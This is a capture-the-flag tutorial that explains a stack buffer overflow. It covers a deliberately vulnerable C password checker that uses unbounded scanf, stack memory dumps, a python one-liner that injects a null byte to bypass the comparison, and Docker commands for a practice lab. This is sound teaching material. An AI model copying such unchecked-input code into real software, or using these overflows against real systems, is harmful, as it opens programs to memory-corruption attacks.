Challenge example

Code source exemple

Vulnerable

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(void) {
    char passwd[16] = "";  // array to store the username
    char password[16] = ""; // array to store the password

    FILE *fp = fopen(".passwd", "r");
    fread(passwd, 1, 15, fp);
    fclose(fp);
    passwd[15] = '\0';

    printf("Enter the password: ");
    scanf("%s", password);  // read the password from the user

    if (strcmp(password, passwd) == 0) {
        printf("good job\n");
    } else {
        printf("permission denied\n");
    }

    return 0;
}

Patched

The objectif is to dectect the buffer overflow and exploit it to print "good job".

Exploitation

This program is vulnerable to Buffer Overflow. In this case, the password array has a size of 16 characters, but the program does not check the length of the input entered by the user. This means that if the user enters a password that is longer than 15 characters, it will overwrite adjacent memory locations.

As explained in the "operation of the stack" part, variables are stored into the stack in the same order that they are declared :

$ ./chall
Enter the password: AAAAAAAAAAAAAAA

  address   |   values
------------+-------------------------------------------------------------------
            |   +------------------------ password --------------------------+
0xffffd4dc: |   | 0x41  0x41    0x41    0x41    0x41    0x41    0x41    0x41 |
0xffffd4e4: |   | 0x41  0x41    0x41    0x41    0x41    0x41    0x41    0x00 |
            |   +------------------------------------------------------------+
            |   +------------------------- passwd ---------------------------+
0xffffd4ec: |   | 0x53  0x75    0x70    0x65    0x72    0x50    0x61    0x73 |
0xffffd4f4: |   | 0x73  0x77    0x6f    0x72    0x64    0x21    0x21    0x00 |
            |   +------------------------------------------------------------+
  ...       |    ...

If the input password is longer than 15 characters, the passwd value can be overwrite :

$ ./chall
Enter the password: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

  address   |   values
------------+-------------------------------------------------------------------
            |   +------------------------ password --------------------------+
0xffffd4dc: |   | 0x41  0x41    0x41    0x41    0x41    0x41    0x41    0x41 |
0xffffd4e4: |   | 0x41  0x41    0x41    0x41    0x41    0x41    0x41    0x41 |
            |   +------------------------------------------------------------+
            |   +------------------------- passwd ---------------------------+
0xffffd4ec: |   | 0x41  0x41    0x41    0x41    0x41    0x41    0x41    0x41 |
0xffffd4f4: |   | 0x41  0x41    0x41    0x41    0x41    0x41    0x41    0x41 |
            |   +------------------------------------------------------------+
  ...       |    ...

Here, password and passwd reserved memory onto the stack have the same value ( 16* 0x41 ) but this doesn't pass the if condition. This appears because although memory space is reserved for the variable, when reading a string, the end is defined by the 0x00 byte. So, until this byte is not present, the process continues to read memory, even beyond the initially reserved space for the variable. Thus, password = 32 * 0x41 and passwd = 16 * 0x41

In order to pass the if condition, password and passwd need to hjave the same value, to do that, it's needed to inject a null byte in the input.

$ python3 -c "print('A' * 15 + '\0' + 'A'*15)" | ./chall    
Enter the password: good job

Now the stack is composed as the following :

 address   |   values
------------+-------------------------------------------------------------------
            |   +------------------------ password --------------------------+
0xffffd4dc: |   | 0x41  0x41    0x41    0x41    0x41    0x41    0x41    0x41 |
0xffffd4e4: |   | 0x41  0x41    0x41    0x41    0x41    0x41    0x41    0x00 |
            |   +------------------------------------------------------------+
            |   +------------------------- passwd ---------------------------+
0xffffd4ec: |   | 0x41  0x41    0x41    0x41    0x41    0x41    0x41    0x41 |
0xffffd4f4: |   | 0x41  0x41    0x41    0x41    0x41    0x41    0x41    0x00 |
            |   +------------------------------------------------------------+
  ...       |    ...

Exercice

If you want to try this exploit by yourself, you can pull this docker image :

docker pull thectfrecipes/pwn:basics

Deploy the image using the followed command :

docker run --name thectfrecipes_buffer_overflow_basics -it --rm -d -p 3000:3000 thectfrecipes/pwn:basics

Access to the web shell with your browser at the address : http://localhost:3000/

login: challenge
password: password